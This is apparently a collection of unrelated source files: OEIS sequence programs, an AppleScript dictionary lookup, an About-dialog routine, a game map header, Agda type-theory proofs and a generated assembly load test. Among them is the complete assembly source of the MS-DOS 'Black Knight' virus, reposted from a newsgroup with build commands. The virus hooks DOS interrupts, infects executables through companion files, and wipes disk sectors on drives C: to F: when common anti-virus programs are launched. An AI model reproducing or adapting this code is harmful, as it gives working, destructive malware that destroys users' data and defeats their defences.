.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rax push %rbp push %rbx push %rsi lea addresses_WC_ht+0x1b39, %r9 nop nop xor %rbp, %rbp mov $0x6162636465666768, %rsi movq %rsi, (%r9) nop xor %rax, %rax lea addresses_D_ht+0xad39, %r9 add %r10, %r10 movb $0x61, (%r9) nop nop nop nop nop dec %r8 lea addresses_D_ht+0x1739, %r8 nop nop nop nop dec %rbx mov $0x6162636465666768, %r9 movq %r9, (%r8) nop nop nop nop sub $5700, %r9 lea addresses_UC_ht+0xbd79, %r9 nop nop nop sub %rbp, %rbp mov (%r9), %esi nop nop nop nop nop inc %rbp lea addresses_A_ht+0x137b9, %rsi nop nop nop nop nop dec %rbp movb (%rsi), %al nop nop nop nop nop add $31385, %rbx pop %rsi pop %rbx pop %rbp pop %rax pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %r9 push %rdi push %rsi // Faulty Load lea addresses_A+0xeb39, %r9 nop nop and $54998, %rdi mov (%r9), %r8d lea oracles, %r14 and $0xff, %r8 shlq $12, %r8 mov (%r14,%r8,1), %r8 pop %rsi pop %rdi pop %r9 pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
oeis/189/A189663.asm
neoneye/loda-programs
11
22407
<gh_stars>10-100 ; A189663: Partial sums of A189661. ; Submitted by <NAME> ; 0,1,1,2,2,2,3,3,4,4,4,5,5,5,6,6,7,7,7,8,8,9,9,9,10,10,10,11,11,12,12,12,13,13,13,14,14,15,15,15,16,16,17,17,17,18,18,18,19,19,20,20,20,21,21,22,22,22,23,23,23,24,24,25,25,25,26,26,26,27,27,28,28,28,29,29,30,30,30,31,31,31,32,32,33,33,33,34,34,34,35,35,36,36,36,37,37,38,38,38 mov $1,$0 seq $1,60145 ; a(n) = floor(n/tau) - floor(n/(1 + tau)). mov $2,$0 sub $2,$1 add $2,1 div $2,2 mov $0,$2
MSDOS/Virus.MSDOS.Unknown.blknight.asm
fengjixuchui/Family
3
240088
<reponame>fengjixuchui/Family From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994 Xref: netcom.com alt.comp.virus:508 Path: netcom.com!ix.netcom.com!netnews From: <EMAIL> (Mr. G) Newsgroups: alt.comp.virus Subject: BlackKnight Virus (ANTI AV VIRUS) Date: 29 Nov 1994 13:09:23 GMT Organization: Netcom Lines: 376 Distribution: world Message-ID: <<EMAIL>> References: <<EMAIL>> <<EMAIL>> NNTP-Posting-Host: ix-pas2-10.ix.netcom.com ;Black Knight Anti-Virus-Virus ;Size - 520 ; ;Tasm BKNIGHT ;Tlink /T BKNIGHT ;Memory Resident Companion Virus ;Anti-Anti-Virus ;Formats Drives C: to F: When Anti-Virus Product Is Ran ;Tempest - _ Of Luxenburg ; .radix 16 cseg segment model small assume cs:cseg, ds:cseg, es:cseg org 100h oi21 equ endit filelength equ endit - begin nameptr equ endit+4 DTA equ endit+8 begin: jmp virus_install virus_name: db 'Black Knight' ;install virus_install: nop nop nop mov ax,cs ; reduce memory size dec ax mov ds,ax cmp byte ptr ds:[0000],5a jne cancel mov ax,ds:[0003] sub ax,100 mov ds:0003,ax Zopy_virus: mov bx,ax ; copy to claimed block mov ax,es add ax,bx mov es,ax mov cx,offset endit - begin mov ax,ds inc ax mov ds,ax lea si,ds:[begin] lea di,es:0100 rep movsb Grab_21: mov ds,cx ; hook int 21h mov si,0084h ; mov di,offset oi21 mov dx,offset check_exec lodsw cmp ax,dx ; je cancel ; exit, if already installed stosw movsw push es pop ds mov ax,2521h ; revector int 21h to virus nop int 21h nop cancel: ret check_exec: pushf push es ; push everything onto the push ds ; stack push ax push bx push dx cmp ax,04B00h ; is the file being jne abort ; executed? ;if yes, try the_stinger do_infect: call infect ; then try to infect abort: ; restore everything pop dx pop bx pop ax pop ds pop es popf Bye_Bye: ; exit jmp dword ptr cs:[oi21] new_24h: mov al,3 ; critical error handler iret infect: mov cs:[name_seg],ds ; here, the virus essentially mov cs:[name_off],dx ; copies the name of the cld ; loaded file into a buffer mov di,dx ; so that it can be compared push ds ; against the default names pop es ; in the_stinger mov al,'.' ; subroutine repne scasb ; <-- call the_stinger ; check for anti-virus load ; and deploy the_stinger cld mov word ptr cs:[nameptr],dx mov word ptr cs:[nameptr+2],ds mov ah,2Fh int 21h push es push bx push cs pop ds mov dx,offset DTA mov ah,1Ah int 21h call searchpoint push di mov si,offset COM_txt mov cx,3 rep cmpsb pop di jz do_com mov si,offset EXE_txt nop mov cl,3 rep cmpsb jnz return do_exe: mov si,offset COM_txt nop call change_ext mov ax,3300h nop int 21h push dx cwd inc ax push ax int 21h Grab24h: mov ax,3524h int 21h push bx push es push cs pop ds mov dx,offset new_24h mov ah,25h push ax int 21h lds dx,dword ptr [nameptr] ;create the virus (unique name) xor cx,cx mov ah,05Bh int 21 jc return1 xchg bx,ax ;save handle push cs pop ds mov cx,filelength ;cx= length of virus mov dx,offset begin ;where to start copying mov ah,40h ;write the virus to the int 21h ;new file mov ah,3Eh ; close int 21h return1: pop ax pop ds pop dx int 21h pop ax pop dx int 21h mov si,offset EXE_txt call change_ext return: mov ah,1Ah pop dx pop ds int 21H ret do_com: call findfirst cmp word ptr cs:[DTA+1Ah],endit - begin jne return mov si,offset EXE_txt call change_ext call findfirst jnc return mov si,offset COM_txt call change_ext jmp short return searchpoint: les di,dword ptr cs:[nameptr] mov ch,0FFh mov al,0 repnz scasb sub di,4 ret change_ext: call searchpoint push cs pop ds movsw movsw ret findfirst: lds dx,dword ptr [nameptr] mov cl,27h mov ah,4Eh int 21h ret the_stinger: cmp word ptr es:[di-3],'MI' ;Integrity Master je jumptoass cmp word ptr es:[di-3],'XR' ;VIRX je jumptoass cmp word ptr es:[di-3],'PO' ;VIRUSTOP jne next1 cmp word ptr es:[di-5],'TS' je jumptoass next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV je jumptoass cmp word ptr es:[di-3],'TO' ;*prot = F-prot jne next2 cmp word ptr es:[di-5],'RP' je jumptoass next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. jne next3 cmp word ptr es:[di-5],'CS' je jumptoass cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN. jne next3 ; why not, eh? cmp word ptr es:[di-5],'EL' je jumptoass next3: ret jumptoass: jmp nuke ;assassination (deletion) ; of anti-virus program nuke: mov al,2 ;Lets Total The C: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,3 ;Lets Total The D: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,3 ;Lets Total The E: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,5 ;Lets Total The F: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti EXE_txt db 'EXE',0 COM_txt db 'COM',0 data_1 db 0 data_2 db 0 last db 090H name_seg dw ? name_off dw ? c1 db 0 c2 db 0 c3 db 0 c4 db 0 c5 db 0 virus_man: db 'Tempest - _ Of Luxenburg' endit: cseg ends end begin
youdao.popclipext/youdao.applescript
yuanmomo/popclip-extension
0
4621
<filename>youdao.popclipext/youdao.applescript set appName to "有道词典" set testword to "{popclip text}" if application appName is running then tell application appName activate tell application "System Events" perform action "AXRaise" of window 1 of process appName tell process appName keystroke tab set value of text field 1 of window "有道词典" of application process "有道词典" of application "System Events" to testword click button "查词" of toolbar 1 of window "有道词典" of application process "有道词典" of application "System Events" end tell end tell end tell else tell application appName launch activate end tell tell application "System Events" perform action "AXRaise" of window 1 of process appName tell process appName keystroke tab set value of text field 1 of window "有道词典" of application process "有道词典" of application "System Events" to testword click button "查词" of toolbar 1 of window "有道词典" of application process "有道词典" of application "System Events" end tell end tell end if
programs/oeis/001/A001542.asm
neoneye/loda
22
160476
<reponame>neoneye/loda<filename>programs/oeis/001/A001542.asm ; A001542: a(n) = 6*a(n-1) - a(n-2) for n > 1, a(0)=0 and a(1)=2. ; 0,2,12,70,408,2378,13860,80782,470832,2744210,15994428,93222358,543339720,3166815962,18457556052,107578520350,627013566048,3654502875938,21300003689580,124145519261542,723573111879672,4217293152016490,24580185800219268,143263821649299118,835002744095575440,4866752642924153522,28365513113449345692,165326326037771920630,963592443113182178088,5616228332641321147898,32733777552734744709300,190786436983767147107902,1111984844349868137938112,6481122629115441680520770,37774750930342781945186508,220167382952941249990598278,1283229546787304717998403160,7479209897770887057999820682,43592029839838017630000520932,254072969141257218722003304910,1480845785007705294702019308528,8631001740904974549490112546258,50305164660422142002238655969020,293199986221627877463941823267862,1708894752669345122781412283638152,9960168529794442859224531878561050,58052116426097312032565778987728148,338352530026789429336170142047807838 mov $3,1 lpb $0 sub $0,1 mov $2,$3 add $2,$3 add $1,$2 add $3,$1 add $3,$1 lpe mov $0,$1
src/datatype-util.agda
ice1k/cedille
0
14842
<reponame>ice1k/cedille module datatype-util where open import constants open import ctxt open import syntax-util open import general-util open import type-util open import cedille-types open import subst open import rename open import free-vars {-# TERMINATING #-} decompose-arrows : ctxt → type → params × type decompose-arrows Γ (TpAbs me x atk T) = let x' = fresh-var-new Γ x in case decompose-arrows (ctxt-var-decl x' Γ) (rename-var Γ x x' T) of λ where (ps , T') → Param me x' atk :: ps , T' decompose-arrows Γ T = [] , T decompose-ctr-type : ctxt → type → type × params × 𝕃 tmtp decompose-ctr-type Γ T with decompose-arrows Γ T ...| ps , Tᵣ with decompose-tpapps Tᵣ ...| Tₕ , as = Tₕ , ps , as {-# TERMINATING #-} kind-to-indices : ctxt → kind → indices kind-to-indices Γ (KdAbs x atk k) = let x' = fresh-var-new Γ x in Index x' atk :: kind-to-indices (ctxt-var-decl x' Γ) (rename-var Γ x x' k) kind-to-indices Γ _ = [] rename-indices-h : ctxt → renamectxt → indices → 𝕃 tmtp → indices rename-indices-h Γ ρ (Index x atk :: is) (ty :: tys) = Index x' atk' :: rename-indices-h (ctxt-var-decl x' Γ) (renamectxt-insert ρ x x') is tys where x' = fresh-var-renamectxt Γ ρ (maybe-else x id (is-var-unqual ty)) atk' = subst-renamectxt Γ ρ -tk atk rename-indices-h Γ ρ (Index x atk :: is) [] = let x' = fresh-var-renamectxt Γ ρ x in Index x' (subst-renamectxt Γ ρ -tk atk) :: rename-indices-h (ctxt-var-decl x' Γ) (renamectxt-insert ρ x x') is [] rename-indices-h _ _ [] _ = [] rename-indices : ctxt → indices → 𝕃 tmtp → indices rename-indices Γ = rename-indices-h Γ empty-renamectxt positivity : Set positivity = 𝔹 × 𝔹 -- occurs positively × occurs negatively pattern occurs-nil = ff , ff pattern occurs-pos = tt , ff pattern occurs-neg = ff , tt pattern occurs-all = tt , tt --positivity-inc : positivity → positivity --positivity-dec : positivity → positivity positivity-neg : positivity → positivity positivity-add : positivity → positivity → positivity --positivity-inc = map-fst λ _ → tt --positivity-dec = map-snd λ _ → tt positivity-neg = uncurry $ flip _,_ positivity-add (+ₘ , -ₘ) (+ₙ , -ₙ) = (+ₘ || +ₙ) , (-ₘ || -ₙ) data ctorCheckT : Set where ctorOk : ctorCheckT ctorNotInReturnType : ctorCheckT ctorNegative : ctorCheckT posₒ = fst negₒ = snd occurs : positivity → ctorCheckT occurs p = if (negₒ p) then ctorNegative else ctorOk or-ctorCheckT : ctorCheckT → ctorCheckT → ctorCheckT or-ctorCheckT ctorOk r = r or-ctorCheckT ctorNegative _ = ctorNegative or-ctorCheckT ctorNotInReturnType _ = ctorNotInReturnType posM : Set → Set posM A = 𝕃 tpkd → A × 𝕃 tpkd run-posM : ∀{A : Set} → posM A → A × 𝕃 tpkd run-posM p = p [] extract-pos : ∀{A : Set} → posM A → A extract-pos = fst ∘ run-posM instance posM-monad : monad posM return ⦃ posM-monad ⦄ a = λ l → a , l _>>=_ ⦃ posM-monad ⦄ p ap l with p l _>>=_ ⦃ posM-monad ⦄ p ap l | a , l' = ap a l' posM-functor : functor posM fmap ⦃ posM-functor ⦄ g m l with m l fmap ⦃ posM-functor ⦄ g m l | a , l' = g a , l' posM-applicative : applicative posM pure ⦃ posM-applicative ⦄ = return _<*>_ ⦃ posM-applicative ⦄ mab ma l with mab l _<*>_ ⦃ posM-applicative ⦄ mab ma l | f , l' with ma l' _<*>_ ⦃ posM-applicative ⦄ mab ma l | f , l' | a , l'' = f a , l'' add-posM : tpkd → posM ⊤ add-posM x = λ l → triv , x :: l module positivity (x : var) where open import conversion if-free : ∀ {ed} → ⟦ ed ⟧ → positivity if-free t with is-free-in x t ...| f = f , f if-free-args : args → positivity if-free-args as = let c = stringset-contains (free-vars-args as) x in c , c hnf' : ∀ {ed} → ctxt → ⟦ ed ⟧ → ⟦ ed ⟧ hnf' Γ T = hnf Γ unfold-no-defs T mtt = maybe-else tt id mff = maybe-else ff id {-# TERMINATING #-} type+ : ctxt → type → posM positivity kind+ : ctxt → kind → posM positivity tpkd+ : ctxt → tpkd → posM positivity tpapp+ : ctxt → type → posM positivity type+h : ctxt → type → posM positivity kind+h : ctxt → kind → posM positivity tpkd+h : ctxt → tpkd → posM positivity tpapp+h : ctxt → type → posM positivity type+ Γ T = type+h Γ T -- >>= λ p → add-posM (Tkt T) >> return p kind+ Γ k = kind+h Γ k tpkd+ Γ x = tpkd+h Γ x tpapp+ Γ T = tpapp+h Γ T type+h Γ (TpAbs me x' atk T) = let Γ' = ctxt-var-decl x' Γ in pure positivity-add <*> (fmap positivity-neg $ tpkd+ Γ $ hnf' Γ -tk atk) <*> (type+ Γ' $ hnf' Γ' T) type+h Γ (TpIota x' T T') = let Γ' = ctxt-var-decl x' Γ in pure positivity-add <*> (type+ Γ $ hnf' Γ T) <*> (type+ Γ' $ hnf' Γ' T') type+h Γ (TpApp T tT) = tpapp+ Γ $ hnf' Γ $ TpApp T tT type+h Γ (TpEq tₗ tᵣ) = pure occurs-nil type+h Γ (TpHole _) = pure occurs-nil type+h Γ (TpLam x' atk T)= let Γ' = ctxt-var-decl x' Γ in pure positivity-add <*> (fmap positivity-neg $ tpkd+ Γ $ hnf' Γ -tk atk) <*> (type+ Γ' (hnf' Γ' T)) type+h Γ (TpVar x') = pure $ x =string x' , ff kind+h Γ (KdAbs x' atk k) = let Γ' = ctxt-var-decl x' Γ in pure positivity-add <*> (fmap positivity-neg $ tpkd+ Γ $ hnf' Γ -tk atk) <*> (kind+ Γ' k) kind+h Γ _ = pure occurs-nil tpkd+h Γ (Tkt T) = type+ Γ (hnf' Γ T) tpkd+h Γ (Tkk k) = kind+ Γ k tpapp+h Γ T with decompose-tpapps T tpapp+h Γ T | TpVar x' , as = let f = if-free-args (tmtps-to-args NotErased as) in if x =string x' then pure (positivity-add occurs-pos f) else maybe-else' (data-lookup Γ x' as) (pure f) λ {(mk-data-info x'' xₒ'' asₚ asᵢ ps kᵢ k cs csₚₛ eds gds) → let s = (inst-type Γ ps asₚ (hnf' Γ $ TpAbs tt x'' (Tkk k) $ foldr (uncurry λ cₓ cₜ → TpAbs ff ignored-var (Tkt cₜ)) (TpVar x'') cs)) in add-posM (Tkt s) >> type+ Γ s } tpapp+h Γ T | _ , _ = pure $ if-free T {-# TERMINATING #-} arrs+ : ctxt → type → posM ctorCheckT arrs+ Γ (TpAbs me x' atk T) = let Γ' = ctxt-var-decl x' Γ in pure or-ctorCheckT <*> (fmap occurs (tpkd+ Γ $ hnf' Γ -tk atk)) <*> (arrs+ Γ' (hnf' Γ' T)) arrs+ Γ (TpApp T tT) = fmap occurs (tpapp+ Γ $ hnf' Γ (TpApp T tT)) arrs+ Γ (TpLam x' atk T) = let Γ' = ctxt-var-decl x' Γ in pure or-ctorCheckT <*> (fmap occurs (tpkd+ Γ $ hnf' Γ -tk atk)) <*> (arrs+ Γ' (hnf' Γ' T)) arrs+ Γ (TpVar x') = return $ if (x =string x') then ctorOk else ctorNotInReturnType arrs+ _ _ = return ctorNegative ctr-positive : ctxt → type → posM ctorCheckT ctr-positive Γ = (arrs+ Γ ∘ hnf' Γ) -- build the evidence for a sigma-term, given datatype X with associated info μ sigma-build-evidence : var → datatype-info → term sigma-build-evidence X μ = if datatype-info.name μ =string X then recompose-apps (datatype-info.asₚ μ) (Var (data-is/ X)) else Var (mu-isType/' X)
programs/oeis/145/A145677.asm
neoneye/loda
22
174902
; A145677: Triangle T(n,m) read by rows: T(n,0) =1; T(n,n) =n, n>0; T(n,k) =0, 0<k<n-1 . ; 1,1,1,1,0,2,1,0,0,3,1,0,0,0,4,1,0,0,0,0,5,1,0,0,0,0,0,6,1,0,0,0,0,0,0,7,1,0,0,0,0,0,0,0,8,1,0,0,0,0,0,0,0,0,9,1,0,0,0,0,0,0,0,0,0,10,1,0,0,0,0,0,0,0,0,0,0,11 lpb $0 mov $2,$0 sub $0,1 add $1,1 sub $0,$1 sub $2,2 lpe bin $1,$2 mov $0,$1
MasmEd/MasmEd/About/About.asm
CherryDT/FbEditMOD
11
22001
IDD_DLGABOUT equ 4900 IDC_EDTABOUT equ 1001 IDC_URL1 equ 1002 IDC_URL2 equ 1003 .data? OldUrlProc dd ? fMouseOver dd ? hUrlFont dd ? hUrlFontU dd ? hUrlBrush dd ? .code UrlProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL rect:RECT LOCAL buffer[128]:BYTE mov eax,uMsg .if eax==WM_MOUSEMOVE invoke GetClientRect,hWin,addr rect invoke GetCapture .if eax!=hWin mov fMouseOver,TRUE invoke SetCapture,hWin invoke SendMessage,hWin,WM_SETFONT,hUrlFontU,TRUE .endif mov edx,lParam movzx eax,dx shr edx,16 .if eax>rect.right || edx>rect.bottom mov fMouseOver,FALSE invoke ReleaseCapture invoke SendMessage,hWin,WM_SETFONT,hUrlFont,TRUE .endif .elseif eax==WM_LBUTTONUP mov fMouseOver,FALSE invoke ReleaseCapture invoke SendMessage,hWin,WM_SETFONT,hUrlFont,TRUE invoke GetWindowText,hWin,addr buffer,sizeof buffer invoke ShellExecute,ha.hWnd,addr szOpen,addr buffer,NULL,NULL,SW_SHOWNORMAL .elseif eax==WM_SETCURSOR invoke LoadCursor,NULL,IDC_HAND invoke SetCursor,eax .else invoke CallWindowProc,OldUrlProc,hWin,uMsg,wParam,lParam ret .endif xor eax,eax ret UrlProc endp AboutProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL lf:LOGFONT mov eax,uMsg .if eax==WM_INITDIALOG invoke SetWindowText,hWin,addr szVersion invoke SendDlgItemMessage,hWin,IDC_EDTABOUT,WM_SETTEXT,0,addr szAboutMsg invoke SendDlgItemMessage,hWin,IDC_URL1,WM_SETTEXT,0,addr szAboutUrl1 ; invoke SendDlgItemMessage,hWin,IDC_URL2,WM_SETTEXT,0,addr szAboutUrl2 invoke GetDlgItem,hWin,IDC_URL1 invoke SetWindowLong,eax,GWL_WNDPROC,addr UrlProc mov OldUrlProc,eax invoke GetDlgItem,hWin,IDC_URL2 invoke SetWindowLong,eax,GWL_WNDPROC,addr UrlProc invoke SendMessage,hWin,WM_GETFONT,0,0 mov hUrlFont,eax invoke GetObject,hUrlFont,sizeof LOGFONT,addr lf mov lf.lfUnderline, TRUE invoke CreateFontIndirect,addr lf mov hUrlFontU,eax invoke GetSysColor,COLOR_3DFACE invoke CreateSolidBrush,eax mov hUrlBrush,eax .elseif eax==WM_COMMAND mov eax,wParam mov edx,eax shr edx,16 and eax,0FFFFh .if edx==BN_CLICKED .if eax==IDOK invoke SendMessage,hWin,WM_CLOSE,NULL,NULL .endif .endif .elseif eax==WM_CTLCOLORSTATIC invoke GetDlgItem,hWin,IDC_URL1 push eax invoke GetDlgItem,hWin,IDC_URL2 pop edx mov ecx,eax xor eax,eax .if edx==lParam || ecx==lParam .if fMouseOver mov eax,0FF0000h .endif invoke SetTextColor,wParam,eax invoke SetBkMode,wParam,TRANSPARENT mov eax,hUrlBrush .endif ret .elseif eax==WM_CLOSE invoke DeleteObject,hUrlFontU invoke DeleteObject,hUrlBrush invoke EndDialog,hWin,NULL .else mov eax,FALSE ret .endif mov eax,TRUE ret AboutProc endp
data/mapHeaders/CinnabarLabTradeRoom.asm
AmateurPanda92/pokemon-rby-dx
9
3252
CinnabarLabTradeRoom_h: db LAB ; tileset db CINNABAR_LAB_TRADE_ROOM_HEIGHT, CINNABAR_LAB_TRADE_ROOM_WIDTH ; dimensions (y, x) dw CinnabarLabTradeRoom_Blocks ; blocks dw CinnabarLabTradeRoom_TextPointers ; texts dw CinnabarLabTradeRoom_Script ; scripts db 0 ; connections dw CinnabarLabTradeRoom_Object ; objects
lemmas-complete.agda
hazelgrove/hazel-palette-agda
4
14963
open import Nat open import Prelude open import core open import lemmas-gcomplete module lemmas-complete where lem-comp-pair1 : ∀{d1 d2} → ⟨ d1 , d2 ⟩ dcomplete → d1 dcomplete lem-comp-pair1 (DCPair h _) = h lem-comp-pair2 : ∀{d1 d2} → ⟨ d1 , d2 ⟩ dcomplete → d2 dcomplete lem-comp-pair2 (DCPair _ h) = h lem-comp-prod1 : ∀{τ1 τ2} → τ1 ⊗ τ2 tcomplete → τ1 tcomplete lem-comp-prod1 (TCProd h _) = h lem-comp-prod2 : ∀{τ1 τ2} → τ1 ⊗ τ2 tcomplete → τ2 tcomplete lem-comp-prod2 (TCProd _ h) = h -- no term is both complete and indeterminate lem-ind-comp : ∀{d} → d dcomplete → d indet → ⊥ lem-ind-comp DCVar () lem-ind-comp DCConst () lem-ind-comp (DCLam comp x₁) () lem-ind-comp (DCAp comp comp₁) (IAp x ind x₁) = lem-ind-comp comp ind lem-ind-comp (DCCast comp x x₁) (ICastArr x₂ ind) = lem-ind-comp comp ind lem-ind-comp (DCCast comp x x₁) (ICastGroundHole x₂ ind) = lem-ind-comp comp ind lem-ind-comp (DCCast comp x x₁) (ICastHoleGround x₂ ind x₃) = lem-ind-comp comp ind lem-ind-comp (DCCast dc x x₁) (ICastProd x₂ ind) = lem-ind-comp dc ind lem-ind-comp (DCFst d) (IFst ind x x₁) = lem-ind-comp d ind lem-ind-comp (DCSnd d) (ISnd ind x x₁) = lem-ind-comp d ind lem-ind-comp (DCPair d d₁) (IPair1 ind x) = lem-ind-comp d ind lem-ind-comp (DCPair d d₁) (IPair2 x ind) = lem-ind-comp d₁ ind -- complete types that are consistent are equal complete-consistency : ∀{τ1 τ2} → τ1 ~ τ2 → τ1 tcomplete → τ2 tcomplete → τ1 == τ2 complete-consistency TCRefl TCBase comp2 = refl complete-consistency TCRefl (TCArr comp1 comp2) comp3 = refl complete-consistency TCHole1 comp1 () complete-consistency TCHole2 () comp2 complete-consistency (TCArr consis consis₁) (TCArr comp1 comp2) (TCArr comp3 comp4) with complete-consistency consis comp1 comp3 | complete-consistency consis₁ comp2 comp4 ... | refl | refl = refl complete-consistency TCRefl (TCProd tc' tc'') = λ _ → refl complete-consistency (TCProd tc tc') (TCProd tc1 tc2) (TCProd tc3 tc4) with complete-consistency tc tc1 tc3 | complete-consistency tc' tc2 tc4 ... | refl | refl = refl -- a well typed complete term is assigned a complete type complete-ta : ∀{Γ Δ d τ} → (Γ gcomplete) → (Δ , Γ ⊢ d :: τ) → d dcomplete → τ tcomplete complete-ta gc TAConst comp = TCBase complete-ta gc (TAVar x₁) DCVar = gc _ _ x₁ complete-ta gc (TALam a wt) (DCLam comp x₁) = TCArr x₁ (complete-ta (gcomp-extend gc x₁ a ) wt comp) complete-ta gc (TAAp wt wt₁) (DCAp comp comp₁) with complete-ta gc wt comp complete-ta gc (TAAp wt wt₁) (DCAp comp comp₁) | TCArr qq qq₁ = qq₁ complete-ta gc (TAEHole x x₁) () complete-ta gc (TANEHole x wt x₁) () complete-ta gc (TACast wt x) (DCCast comp x₁ x₂) = x₂ complete-ta gc (TAFailedCast wt x x₁ x₂) () complete-ta gc (TAFst wt) (DCFst comp) = lem-comp-prod1 (complete-ta gc wt comp) complete-ta gc (TASnd wt) (DCSnd comp) = lem-comp-prod2 (complete-ta gc wt comp) complete-ta gc (TAPair ta ta₁) (DCPair comp comp₁) = TCProd (complete-ta gc ta comp) (complete-ta gc ta₁ comp₁) -- a well typed term synthesizes a complete type comp-synth : ∀{Γ e τ} → Γ gcomplete → e ecomplete → Γ ⊢ e => τ → τ tcomplete comp-synth gc ec SConst = TCBase comp-synth gc (ECAsc x ec) (SAsc x₁) = x comp-synth gc ec (SVar x) = gc _ _ x comp-synth gc (ECAp ec ec₁) (SAp _ wt MAHole x₁) with comp-synth gc ec wt ... | () comp-synth gc (ECAp ec ec₁) (SAp _ wt MAArr x₁) with comp-synth gc ec wt comp-synth gc (ECAp ec ec₁) (SAp _ wt MAArr x₁) | TCArr qq qq₁ = qq₁ comp-synth gc () SEHole comp-synth gc () (SNEHole _ wt) comp-synth gc (ECLam2 ec x₁) (SLam x₂ wt) = TCArr 